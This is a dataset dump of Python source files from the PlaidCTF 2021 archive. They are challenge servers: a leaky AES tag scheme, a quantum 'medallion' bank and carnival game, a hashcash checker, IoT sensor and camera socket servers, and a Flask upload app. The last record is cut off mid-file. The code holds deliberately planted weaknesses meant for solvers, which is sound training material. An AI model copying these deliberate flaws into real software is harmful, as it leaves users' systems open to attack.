repo stringlengths 7 90 | file_url stringlengths 81 315 | file_path stringlengths 4 228 | content stringlengths 0 32.8k | language stringclasses 1
value | license stringclasses 7
values | commit_sha stringlengths 40 40 | retrieved_at stringdate 2026-01-04 14:38:15 2026-01-05 02:33:18 | truncated bool 2
classes |
|---|---|---|---|---|---|---|---|---|
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2021/crypto/leaky_block_cipher/leaky_block_cipher.py | ctfs/PlaidCTF/2021/crypto/leaky_block_cipher/leaky_block_cipher.py | import flag
import hashcash
import secrets
from Crypto.Cipher import AES
def gf128(a, b):
a = int.from_bytes(a, byteorder="big")
b = int.from_bytes(b, byteorder="big")
R = 128
P = sum(1 << x for x in [R, 7, 2, 1, 0])
r = 0
for i in range(R):
if a & (1 << i):
r ^= b << i
for i in range(R)[::-1]:
if r & (1 << (i+R)):
r ^= P << i
return r.to_bytes(16, byteorder="big")
def xor(a, b):
return bytes(x^y for x,y in zip(a,b))
class LeakyBlockCipher:
def __init__(self, key = None):
if key is None:
key = secrets.token_bytes(16)
self.key = key
self.aes = AES.new(key, AES.MODE_ECB)
self.H = self.aes.encrypt(bytes(16))
def encrypt(self, iv, data):
assert len(iv) == 16
assert len(data) % 16 == 0
ivi = int.from_bytes(iv, "big")
cip = bytes()
tag = bytes(16)
for i in range(0,len(data),16):
cntr = ((ivi + i // 16 + 1) % 2**128).to_bytes(16, byteorder="big")
block = data[i:i+16]
enced = self.aes.encrypt(xor(cntr, block))
cip += enced
tag = xor(tag, enced)
tag = gf128(tag, self.H)
tag = xor(tag, self.aes.encrypt(iv))
return cip, tag
def main():
resource = secrets.token_hex(8)
print(resource)
token = input()
assert hashcash.check(token.strip(), resource, bits=21)
print("Thanks for helping me try to find this leak.")
print("Here's a few rounds of the cipher for you to investigate.")
print("")
for _ in range(20):
G = LeakyBlockCipher()
iv = secrets.token_bytes(16)
print("iv =", iv.hex())
plaintext = bytes.fromhex(input("plaintext = "))
assert len(plaintext) > 100
cip, tag = G.encrypt(iv, plaintext)
print("secure auth tag =", tag.hex())
print("")
enc_iv = G.aes.encrypt(iv).hex()
print("Have you caught the drip?")
print("It looks like ", enc_iv[:-1] + "X")
guess = input("So what is X? ").strip()
if guess == enc_iv[-1:]:
print("Good. Now just to check, do it again for me.")
else:
print("Sorry, the answer was", enc_iv[-1:])
break
else:
print(flag.flag)
if __name__ == "__main__":
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2021/crypto/Fake_Medallion/carnival.py | ctfs/PlaidCTF/2021/crypto/Fake_Medallion/carnival.py | from bank import Bank
import random
from os import urandom
FLAG = "PCTF{REDACTED}"
# Game of Razzle
class RazzleGame:
def __init__(self):
self.welcome_message = (
"Welcome to our custom game of razzle! It takes one "
"medallion for each game. You roll 8 dies and take the "
"sum of the values rolled. If that sum is less than 12 or "
"greater than 42, you get $2000! "
"If you lose, you lose your medallion."
)
def play(self):
# Well, razzle is supposed to be a scam
while True:
res = []
for i in range(8):
res.append(random.randint(1,6))
s = sum(res)
if s >= 12 and s <= 42:
return (False, res)
# Carnival, where you use medallions as tokens of entry for our games.
class Carnival:
def __init__(self, peername):
self.bank = Bank()
self.secret = FLAG
self.user_money = 1024
self.peername = peername
def menu(self):
return open('welcome.txt', 'rb').read()
def help(self):
return open('help.txt', 'r').read()
# Call out the robber's IP address
def contact_police(self):
peer = self.peername[0] + ":" + str(self.peername[1])
return {'error':
f"{peer} is trying to rob our carnival with " +
"fake medallions."}
# Playing razzle
def play_razzle(self, med_id):
legit = self.bank.verify_medallion(med_id)
if not legit:
return self.contact_police()
else:
# Of course, you can't just use our services for free
razzle = RazzleGame()
win, res = razzle.play()
if win:
self.user_money += 2000
return {
'msg': razzle.welcome_message,
'rolls': res,
'win': win
}
# Clients can buy our carnival's medallion for $1000. If you already
# have a medallion, please spend it before buying a new one.
def money_for_medallion(self):
if self.user_money < 1000:
return {'error': "insufficient funds"}
self.user_money -= 1000
med_id = self.bank.new_medallion()
return {'msg': f"Your new medallion {med_id} now stored at our bank."}
# Clients can redeem their medallions for $999. The one dollar
# difference is our competitive handling fee.
def medallion_for_money(self, med_id):
# Please also destroy the medallion in the process
legit = self.bank.verify_medallion(med_id)
if not legit:
return self.contact_police()
else:
# Of course, you can't just use our services for free
self.user_money += 999
return {'msg': "Here you go. "}
# Clients can refresh the system, void all previously
# owned medallions, and gain a new medallion, for $1. Clients
# must prove that they previously own at least 1 medallion, though.
def medallion_for_medallion(self, med_id):
if self.user_money < 1:
return {'error': "insufficient funds"}
self.user_money -= 1
# Please also destroy the medallion in the process
legit = self.bank.verify_medallion(med_id)
if not legit:
return self.contact_police()
else:
old_medallion = self.bank.get_medallion(med_id)
self.bank.refresh_bank()
new_id = self.bank.new_medallion()
return {'msg': f"New medallion {new_id} created. " +
"Your old one was " +
old_medallion +
". That one is now invalid."}
# Our carnival bank offers free-of-charge computers for
# each bit in the medallion. This is not necessary for
# ordinary clients of the carnival.
def play_with_medallion(self, data):
return self.bank.operate_on_medallion(data)
# Script for interacting with the user
def interact(self, data):
if 'option' not in data:
return {'error': 'no option selected'}
if data['option'] == 'help':
res = {'help': self.help()}
elif data['option'] == 'money_for_med':
res = self.money_for_medallion()
elif data['option'] == 'med_for_money':
if 'med_id' not in data:
return {'error': 'incomplete data'}
res = self.medallion_for_money(int(data['med_id']))
elif data['option'] == 'med_for_med':
if 'med_id' not in data:
return {'error': 'incomplete data'}
res = self.medallion_for_medallion(int(data['med_id']))
elif data['option'] == 'play_razzle':
res = self.play_razzle(int(data['med_id']))
elif data['option'] == 'op_on_med':
res = self.play_with_medallion(data)
else:
return {'error': 'unrecognized option'}
if 'error' in res:
return res
if self.user_money > 15213:
res['flag'] = ("We shan't begin to fathom how you " +
"cheated at our raffle game. To attempt to appease "
f"you, here is a flag: {self.secret}")
res['curr_money'] = self.user_money
return res
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2021/crypto/Fake_Medallion/bank.py | ctfs/PlaidCTF/2021/crypto/Fake_Medallion/bank.py | import numpy as np
import random
from os import urandom
from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Cipher import AES
from qiskit import (
QuantumCircuit,
QuantumRegister,
ClassicalRegister,
Aer,
assemble
)
from qiskit.quantum_info.operators import Operator
class Bank:
def __init__(self):
# Avoid other clients from messing with us
self.r = random.Random()
self.num_bits = 30
self.key = urandom(16)
# For each medallion bit, we give 3 qubits for users
# to play around with. q0 is the one that belongs to the
# medallion, and q1, q2 are for user experiments (ancilla
# if you will). We initialize to |000> here.
self.state_vecs = [np.array([1,0,0,0,0,0,0,0])
for _ in range(self.num_bits)]
def aes_enc(self, m):
return AES.new(self.key, AES.MODE_ECB).encrypt(m)
def aes_dec(self, c):
return AES.new(self.key, AES.MODE_ECB).decrypt(c)
def refresh_bank(self):
self.key = urandom(16)
# Return the medallion id of a new medallion
def new_medallion(self):
bases = self.r.getrandbits(self.num_bits)
bits = self.r.getrandbits(self.num_bits)
res = ((bits << self.num_bits) + bases).to_bytes(16, 'big')
for i in range(self.num_bits):
qr = QuantumRegister(3)
cr = ClassicalRegister(1)
qc = QuantumCircuit(qr, cr)
qc.initialize(self.state_vecs[i], qr)
qc.measure(0, 0)
qc.initialize(np.array([1,0]), [qr[0]])
if bases % 2:
if bits % 2:
# This gives |->
qc.x(0)
qc.h(0)
else:
# This gives |+>
qc.h(0)
else:
if bits % 2:
# This gives |1>
qc.x(0)
else:
# This gives |0>, cuz why not
qc.x(0)
qc.x(0)
sv_sim = Aer.get_backend('statevector_simulator')
qobj = assemble(qc)
job = sv_sim.run(qobj)
self.state_vecs[i] = job.result().get_statevector()
bases //= 2
bits //= 2
return bytes_to_long(self.aes_dec(res))
# Given medallion id, measure in the corresponding bases and check
# correctness.
def verify_medallion(self, medallion_id):
desired = bytes_to_long(self.aes_enc(medallion_id.to_bytes(16, 'big')))
if desired >= (1 << (2 * self.num_bits)):
return False
for i in range(self.num_bits):
qr = QuantumRegister(3)
cr = ClassicalRegister(1)
qc = QuantumCircuit(qr, cr)
sv_sim = Aer.get_backend('statevector_simulator')
qc.initialize(self.state_vecs[i], qr)
if desired & (1 << i):
qc.h(0)
qc.measure(0, 0)
qobj = assemble(qc)
job = sv_sim.run(qobj)
measure_res = job.result().get_counts()
self.state_vecs[i] = job.result().get_statevector()
if desired & (1 << (i + self.num_bits)):
if ('1' not in measure_res) or ('0' in measure_res):
return False
else:
if ('0' not in measure_res) or ('1' in measure_res):
return False
# Reinitialize to 0
if '1' in measure_res:
qr = QuantumRegister(3)
cr = ClassicalRegister(1)
qc = QuantumCircuit(qr, cr)
qc.initialize(self.state_vecs[i], qr)
qc.x(0)
job = sv_sim.run(assemble(qc))
self.state_vecs[i] = job.result().get_statevector()
return True
# Get the string representation of the medallion
def get_medallion(self, medallion_id):
desired = bytes_to_long(self.aes_enc(medallion_id.to_bytes(16, 'big')))
res = ''
for i in range(self.num_bits):
if desired & (1 << i):
if desired & (1 << (i + self.num_bits)):
res += '-'
else:
res += '+'
else:
if desired & (1 << (i + self.num_bits)):
res += '1'
else:
res += '0'
return res
'''
Allowed operations on medallions:
1. X gate
2. Y gate
3. Z gate
4. Hadamard gate
5. Identity gate
6. Rx gate
7. Ry gate
8. Rz gate
9. CNOT gate
10. SWAP gate
11. CCNOT gate
12. Unitary transform
13. Measure in 0/1 basis
Given {"operation": 1, "qubit": 5, "params": [0]}, we apply NOT gate on the
0th qubit for the 5th medallion bit. We return error if anything goes
wrong.
'''
def operate_on_medallion(self, data):
if (('operation' not in data) or ('params' not in data) or
('qubit' not in data)):
return {'error': 'data invalid'}
try:
qubit = data['qubit']
state_vec = self.state_vecs[qubit]
qc = QuantumCircuit()
qr = QuantumRegister(3)
cr = ClassicalRegister(1)
qc.add_register(qr, cr)
qc.initialize(state_vec, qr)
if data['operation'] == 1:
qc.x(*data['params'])
elif data['operation'] == 2:
qc.y(*data['params'])
elif data['operation'] == 3:
qc.z(*data['params'])
elif data['operation'] == 4:
qc.h(*data['params'])
elif data['operation'] == 5:
qc.i(*data['params'])
elif data['operation'] == 6:
qc.rx(*data['params'])
elif data['operation'] == 7:
qc.ry(*data['params'])
elif data['operation'] == 8:
qc.rz(*data['params'])
elif data['operation'] == 9:
qc.cx(*data['params'])
elif data['operation'] == 10:
qc.swap(*data['params'])
elif data['operation'] == 11:
qc.ccx(*data['params'])
elif data['operation'] == 12:
op = Operator(np.array(data['params']).reshape(8,8))
qc.unitary(op, [qr[0], qr[1], qr[2]])
elif data['operation'] == 13:
qc.measure(data['params'][0], 0)
else:
raise ValueError('operation not recognized')
sv_sim = Aer.get_backend('statevector_simulator')
qobj = assemble(qc)
job = sv_sim.run(qobj)
self.state_vecs[qubit] = job.result().get_statevector()
if data['operation'] != 13:
return {'msg': 'operation complete'}
else:
measure_res = job.result().get_counts()
if '0' in measure_res:
return {'msg': 'measurement gives 0'}
elif '1' in measure_res:
return {'msg': 'measurement gives 1'}
else:
raise ValueError('bad measurement result')
except Exception as e:
return {'error': str(e)}
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2021/crypto/Fake_Medallion/hashcash.py | ctfs/PlaidCTF/2021/crypto/Fake_Medallion/hashcash.py | #!/usr/bin/env python3
"""Implement Hashcash version 1 protocol in Python
+-------------------------------------------------------+
| Written by David Mertz; released to the Public Domain |
+-------------------------------------------------------+
Very hackily modified
Double spend database not implemented in this module, but stub
for callbacks is provided in the 'check()' function
The function 'check()' will validate hashcash v1 and v0 tokens, as well as
'generalized hashcash' tokens generically. Future protocol version are
treated as generalized tokens (should a future version be published w/o
this module being correspondingly updated).
A 'generalized hashcash' is implemented in the '_mint()' function, with the
public function 'mint()' providing a wrapper for actual hashcash protocol.
The generalized form simply finds a suffix that creates zero bits in the
hash of the string concatenating 'challenge' and 'suffix' without specifying
any particular fields or delimiters in 'challenge'. E.g., you might get:
>>> from hashcash import mint, _mint
>>> mint('foo', bits=16)
'1:16:040922:foo::+ArSrtKd:164b3'
>>> _mint('foo', bits=16)
'9591'
>>> from sha import sha
>>> sha('foo9591').hexdigest()
'0000de4c9b27cec9b20e2094785c1c58eaf23948'
>>> sha('1:16:040922:foo::+ArSrtKd:164b3').hexdigest()
'0000a9fe0c6db2efcbcab15157735e77c0877f34'
Notice that '_mint()' behaves deterministically, finding the same suffix
every time it is passed the same arguments. 'mint()' incorporates a random
salt in stamps (as per the hashcash v.1 protocol).
"""
import sys
from string import ascii_letters
from math import ceil, floor
from hashlib import sha1 as sha
from random import choice
from time import strftime, localtime, time
ERR = sys.stderr # Destination for error messages
DAYS = 60 * 60 * 24 # Seconds in a day
tries = [0] # Count hashes performed for benchmark
def check(stamp, resource=None, bits=None,
check_expiration=None, ds_callback=None):
"""Check whether a stamp is valid
Optionally, the stamp may be checked for a specific resource, and/or
it may require a minimum bit value, and/or it may be checked for
expiration, and/or it may be checked for double spending.
If 'check_expiration' is specified, it should contain the number of
seconds old a date field may be. Indicating days might be easier in
many cases, e.g.
>>> from hashcash import DAYS
>>> check(stamp, check_expiration=28*DAYS)
NOTE: Every valid (version 1) stamp must meet its claimed bit value
NOTE: Check floor of 4-bit multiples (overly permissive in acceptance)
"""
try:
stamp_bytes = stamp.encode('ascii')
except UnicodeError:
ERR.write('Invalid hashcash stamp!\n')
return False
if stamp.startswith('0:'): # Version 0
try:
date, res, suffix = stamp[2:].split(':')
except ValueError:
ERR.write("Malformed version 0 hashcash stamp!\n")
return False
if resource is not None and resource != res:
return False
elif check_expiration is not None:
good_until = strftime("%y%m%d%H%M%S", localtime(time()-check_expiration))
if date < good_until:
return False
elif callable(ds_callback) and ds_callback(stamp):
return False
elif type(bits) is not int:
return True
else:
hex_digits = int(floor(bits/4))
return sha(stamp_bytes).hexdigest().startswith('0'*hex_digits)
elif stamp.startswith('1:'): # Version 1
try:
claim, date, res, ext, rand, counter = stamp[2:].split(':')
stamp_bytes = stamp.encode('ascii')
except ValueError:
ERR.write("Malformed version 1 hashcash stamp!\n")
return False
if resource is not None and resource != res:
return False
elif type(bits) is int and bits > int(claim):
return False
elif check_expiration is not None:
good_until = strftime("%y%m%d%H%M%S", localtime(time()-check_expiration))
if date < good_until:
return False
elif callable(ds_callback) and ds_callback(stamp):
return False
else:
hex_digits = int(floor(int(claim)/4))
return sha(stamp_bytes).hexdigest().startswith('0'*hex_digits)
else: # Unknown ver or generalized hashcash
ERR.write("Unknown hashcash version: Minimal authentication!\n")
if type(bits) is not int:
return True
elif resource is not None and stamp.find(resource) < 0:
return False
else:
hex_digits = int(floor(bits/4))
return sha(stamp_bytes).hexdigest().startswith('0'*hex_digits)
def is_doublespent(stamp):
"""Placeholder for double spending callback function
The check() function may accept a 'ds_callback' argument, e.g.
check(stamp, "mertz@gnosis.cx", bits=20, ds_callback=is_doublespent)
This placeholder simply reports stamps as not being double spent.
"""
return False
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2021/crypto/Fake_Medallion/server.py | ctfs/PlaidCTF/2021/crypto/Fake_Medallion/server.py | #!/usr/bin/env python3
import hashcash
import json
import os
import socket
import threading
from carnival import Carnival
HOST = '0.0.0.0'
PORT = 15213
def to_json(dat):
return json.dumps(dat).encode() + b'\n'
class Server(object):
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen()
while True:
client, address = self.sock.accept()
client.settimeout(90)
print(f"starting client {address}")
threading.Thread(target = self.listenToClient,args = (client,address)).start()
def listenToClient(self, client, address):
size = 1024
carnival = Carnival(address)
resource = os.urandom(8).hex()
client.send(resource.encode() + b"\n")
token = client.recv(64)
if not hashcash.check(token.decode().strip(), resource, bits=21):
client.send(b"Bad pow")
client.close()
return False
client.send(carnival.menu())
while True:
try:
data = client.recv(size)
if data:
res = carnival.interact(json.loads(data))
if 'help' in res:
client.send(res['help'].encode())
else:
client.send(to_json(res))
if 'error' in res:
raise Exception("There's an error")
else:
raise Exception('Client disconnected')
except:
client.close()
return False
if __name__ == '__main__':
Server(HOST, PORT).listen()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2021/web/Carmen_Sandiego/instance/server-sensor/sensor/server.py | ctfs/PlaidCTF/2021/web/Carmen_Sandiego/instance/server-sensor/sensor/server.py | from socketserver import ThreadingTCPServer, UnixStreamServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn
import re
from threading import Lock, Thread
import time
import os
from queue import Queue
SENSOR_REGEX = r"([a-z]{1,512}): ([0-9a-zA-Z.+=-]+)"
connection_lock = Lock()
class ThreadingUnixStreamServer(ThreadingMixIn, UnixStreamServer):
pass
def start_tcp(queue):
class TcpHandler(StreamRequestHandler):
def handle(self):
self.wfile.write(b"token\n")
token = self.rfile.readline().strip()
if token != os.environ["SENSOR_TOKEN"].encode("ascii"):
self.wfile.write(b"bad token\n")
return
if not connection_lock.acquire(blocking = False):
self.wfile.write(b"already have a connection\n")
return
self.wfile.write(b"ok\n")
try:
while True:
while True:
try:
cmd = queue.get_nowait()
self.wfile.write(cmd + b"\n")
except:
break
used_keys = { "ts" }
data = []
ok = True
while True:
line = self.rfile.readline().strip().decode("ascii")
if line == "":
break
match = re.fullmatch(SENSOR_REGEX, line)
if match is None:
ok = False
break
else:
key = match.group(1)
value = match.group(2)
if key in used_keys:
ok = False
break
used_keys.add(key)
data.append((key, value))
if not ok:
self.wfile.write(b"bad sensor data\n")
continue
now = "{:.3f}".format(time.time())
with open("/var/www/goahead/data/data.txt", "a") as f:
for key, value in data:
with open(f"/var/www/goahead/data/latest/{key}", "w") as l:
l.write(f"ts: {now}\n")
l.write(f"value: {value}\n")
f.write(f"{key}: {value}\n")
f.write(f"ts: {now}\n")
self.wfile.write(b"ok\n")
finally:
connection_lock.release()
tcp = ThreadingTCPServer(("0.0.0.0", 9999), TcpHandler)
tcp.serve_forever()
def start_unix(queue):
class UnixHandler(StreamRequestHandler):
def handle(self):
while True:
cmd = self.rfile.readline()
if len(cmd) == 0:
return
cmd = cmd.strip()
queue.put_nowait(cmd)
unix = ThreadingUnixStreamServer("/sensor/sensor.sock", UnixHandler)
unix.serve_forever()
if __name__ == "__main__":
queue = Queue()
Thread(target = start_tcp, args = (queue,)).start()
Thread(target = start_unix, args = (queue,)).start()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2021/web/Carmen_Sandiego/instance/server-camera/sensor/server.py | ctfs/PlaidCTF/2021/web/Carmen_Sandiego/instance/server-camera/sensor/server.py | from socketserver import ThreadingTCPServer, UnixStreamServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn
import re
from threading import Lock, Thread
import time
import os
from queue import Queue
KEY_REGEX = r"([a-z]{1,512})"
connection_lock = Lock()
class ThreadingUnixStreamServer(ThreadingMixIn, UnixStreamServer):
pass
def start_tcp(queue):
class TcpHandler(StreamRequestHandler):
def handle(self):
self.wfile.write(b"token\n")
token = self.rfile.readline().strip()
if token != os.environ["SENSOR_TOKEN"].encode("ascii"):
self.wfile.write(b"bad token\n")
return
if not connection_lock.acquire(blocking = False):
self.wfile.write(b"already have a connection\n")
return
self.wfile.write(b"ok\n")
try:
while True:
while True:
try:
cmd = queue.get_nowait()
self.wfile.write(cmd + b"\n")
except:
break
name = self.rfile.readline().strip().decode("ascii")
if not re.fullmatch(KEY_REGEX, name):
self.wfile.write(b"bad camera name\n")
continue
try:
length = int(self.rfile.readline().strip())
if length > 1024 * 1024:
raise Exception()
except:
self.wfile.write(b"bad length\n")
continue
image = self.rfile.read(length)
with open(f"/var/www/goahead/data/snapshot/{name}", "wb") as f:
f.write(image)
self.wfile.write(b"ok\n")
finally:
connection_lock.release()
tcp = ThreadingTCPServer(("0.0.0.0", 9999), TcpHandler)
tcp.serve_forever()
def start_unix(queue):
class UnixHandler(StreamRequestHandler):
def handle(self):
while True:
cmd = self.rfile.readline()
if len(cmd) == 0:
return
cmd = cmd.strip()
queue.put_nowait(cmd)
unix = ThreadingUnixStreamServer("/sensor/sensor.sock", UnixHandler)
unix.serve_forever()
if __name__ == "__main__":
queue = Queue()
Thread(target = start_tcp, args = (queue,)).start()
Thread(target = start_unix, args = (queue,)).start()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2021/web/Pearl_U-Stor/app/forms.py | ctfs/PlaidCTF/2021/web/Pearl_U-Stor/app/forms.py | from flask_wtf import FlaskForm
from flask_wtf.file import FileAllowed, FileRequired
from wtforms import SubmitField, FileField
from wtforms.validators import InputRequired
from markupsafe import Markup
from flask_wtf.recaptcha import RecaptchaField
class AppFileForm(FlaskForm):
myfile = FileField("File", validators=[InputRequired(), FileRequired()])
recaptcha = RecaptchaField()
submit = SubmitField("Upload") | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2021/web/Pearl_U-Stor/app/app.py | ctfs/PlaidCTF/2021/web/Pearl_U-Stor/app/app.py | from flask import Flask, render_template, url_for, request, send_from_directory, send_file, make_response, abort, redirect
from forms import AppFileForm
import os
from io import BytesIO
from werkzeug.utils import secure_filename
from subprocess import Popen
import uuid
import sys
from paste.translogger import TransLogger
import waitress
import time
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__)
app.config['SECRET_KEY'] = os.environ.get("APP_SECRET_KEY")
app.config['UPLOAD_FOLDER'] = 'uploads'
app.config['TMP_FOLDER'] = '/tmp'
app.config['RECAPTCHA_DATA_ATTRS'] = {'bind': 'recaptcha-submit', 'callback': 'onSubmitCallback', 'size': 'invisible'}
app.config['RECAPTCHA_PUBLIC_KEY'] = os.environ.get("APP_RECAPTCHA_PUBLIC_KEY")
app.config['RECAPTCHA_PRIVATE_KEY'] = os.environ.get("APP_RECAPTCHA_PRIVATE_KEY")
csrf = CSRFProtect(app)
def get_cookie(cookies):
if 'id' in cookies:
cookie_id = cookies.get('id')
if cookie_id.strip() != '' and os.path.exists(os.path.join(app.config['TMP_FOLDER'], cookie_id)):
return (False, cookie_id)
cookie_id = uuid.uuid4().hex
os.mkdir(os.path.join(app.config['TMP_FOLDER'], cookie_id))
return (True,cookie_id)
@app.route('/', methods=["GET", "POST"])
def index():
(set_cookie, cookie_id) = get_cookie(request.cookies)
form = AppFileForm()
if request.method == "GET":
try:
file_list = os.listdir(os.path.join(app.config['TMP_FOLDER'], cookie_id))
except PermissionError:
abort(404, description="Nothing here.")
resp = make_response(render_template("index.html", form=form, files=file_list))
elif request.method == "POST":
errors = []
if form.validate_on_submit():
myfile = request.files["myfile"]
file_path = os.path.join(app.config['TMP_FOLDER'], secure_filename(cookie_id), secure_filename(myfile.filename))
if os.path.exists(file_path):
errors.append("File already exists.")
elif secure_filename(cookie_id) == '':
errors.append("Cannot store file.")
else:
try:
myfile.save(file_path)
cmd = ["chattr", "+r", file_path]
proc = Popen(cmd, stdin=None, stderr=None, close_fds=True)
except:
errors.append("Cannot store file.")
try:
file_list = os.listdir(os.path.join(app.config['TMP_FOLDER'], cookie_id))
except PermissionError:
abort(404, description="Nothing here.")
resp = make_response(render_template("index.html", form=form, files=file_list, errors=errors))
if set_cookie:
resp.set_cookie('id', cookie_id)
return resp
@app.route('/file/<path:filename>')
def get_file(filename):
(set_cookie, cookie_id) = get_cookie(request.cookies)
filename = secure_filename(filename)
if set_cookie:
abort(404, description="Nothing here.")
if not os.path.exists(os.path.join(app.config['TMP_FOLDER'], secure_filename(cookie_id), filename)):
abort(404, description="Nothing here.")
with open(os.path.join(app.config['TMP_FOLDER'], secure_filename(cookie_id), filename), "rb") as f:
memory_file = f.read()
return send_file(BytesIO(memory_file), attachment_filename=filename, as_attachment=True)
@app.errorhandler(404)
def page_not_found(error):
return render_template("error.html", message=error)
class AppLogger(TransLogger):
def write_log(self, environ, method, req_uri, start, status, bytes):
if method == 'POST' and 'myfile' in environ['werkzeug.request'].files:
filename = environ['werkzeug.request'].files["myfile"].filename
else:
filename = ''
if bytes is None:
bytes = '-'
remote_addr = '-'
if environ.get('HTTP_X_FORWARDED_FOR'):
remote_addr = environ['HTTP_X_FORWARDED_FOR']
elif environ.get('REMOTE_ADDR'):
remote_addr = environ['REMOTE_ADDR']
d = {
'REMOTE_ADDR': remote_addr,
'REMOTE_USER': environ.get('REMOTE_USER') or '-',
'REQUEST_METHOD': method,
'REQUEST_URI': req_uri,
'HTTP_VERSION': environ.get('SERVER_PROTOCOL'),
'time': time.strftime('%d/%b/%Y:%H:%M:%S', start),
'status': status.split(None, 1)[0],
'bytes': bytes,
'HTTP_REFERER': environ.get('HTTP_REFERER', '-'),
'HTTP_USER_AGENT': environ.get('HTTP_USER_AGENT', '-'),
'ID': environ['werkzeug.request'].cookies['id'] if 'id' in environ['werkzeug.request'].cookies else '',
'FILENAME': filename
}
message = self.format % d
self.logger.log(self.logging_level, message)
if __name__ == "__main__":
format_logger = ('%(REMOTE_ADDR)s - %(REMOTE_USER)s [%(time)s] '
'"%(REQUEST_METHOD)s %(REQUEST_URI)s %(HTTP_VERSION)s" '
'%(status)s %(bytes)s "%(ID)s" "%(FILENAME)s"')
waitress.serve(AppLogger(app, format=format_logger), listen="*:8000") | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2021/web/Carmen_Sandiego_Season2/instance/server-sensor/sensor/server.py | ctfs/PlaidCTF/2021/web/Carmen_Sandiego_Season2/instance/server-sensor/sensor/server.py | from socketserver import ThreadingTCPServer, UnixStreamServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn
import re
from threading import Lock, Thread
import time
import os
from queue import Queue
SENSOR_REGEX = r"([a-z]{1,512}): ([0-9a-zA-Z.+=-]+)"
connection_lock = Lock()
class ThreadingUnixStreamServer(ThreadingMixIn, UnixStreamServer):
pass
def start_tcp(queue):
class TcpHandler(StreamRequestHandler):
def handle(self):
self.wfile.write(b"token\n")
token = self.rfile.readline().strip()
if token != os.environ["SENSOR_TOKEN"].encode("ascii"):
self.wfile.write(b"bad token\n")
return
if not connection_lock.acquire(blocking = False):
self.wfile.write(b"already have a connection\n")
return
self.wfile.write(b"ok\n")
try:
while True:
while True:
try:
cmd = queue.get_nowait()
self.wfile.write(cmd + b"\n")
except:
break
used_keys = { "ts" }
data = []
ok = True
while True:
line = self.rfile.readline().strip().decode("ascii")
if line == "":
break
match = re.fullmatch(SENSOR_REGEX, line)
if match is None:
ok = False
break
else:
key = match.group(1)
value = match.group(2)
if key in used_keys:
ok = False
break
used_keys.add(key)
data.append((key, value))
if not ok:
self.wfile.write(b"bad sensor data\n")
continue
now = "{:.3f}".format(time.time())
with open("/var/www/goahead/data/data.txt", "a") as f:
for key, value in data:
with open(f"/var/www/goahead/data/latest/{key}", "w") as l:
l.write(f"ts: {now}\n")
l.write(f"value: {value}\n")
f.write(f"{key}: {value}\n")
f.write(f"ts: {now}\n")
self.wfile.write(b"ok\n")
finally:
connection_lock.release()
tcp = ThreadingTCPServer(("0.0.0.0", 9999), TcpHandler)
tcp.serve_forever()
def start_unix(queue):
class UnixHandler(StreamRequestHandler):
def handle(self):
while True:
cmd = self.rfile.readline()
if len(cmd) == 0:
return
cmd = cmd.strip()
queue.put_nowait(cmd)
unix = ThreadingUnixStreamServer("/sensor/sensor.sock", UnixHandler)
unix.serve_forever()
if __name__ == "__main__":
queue = Queue()
Thread(target = start_tcp, args = (queue,)).start()
Thread(target = start_unix, args = (queue,)).start()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2021/web/Carmen_Sandiego_Season2/instance/server-camera/sensor/server.py | ctfs/PlaidCTF/2021/web/Carmen_Sandiego_Season2/instance/server-camera/sensor/server.py | from socketserver import ThreadingTCPServer, UnixStreamServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn
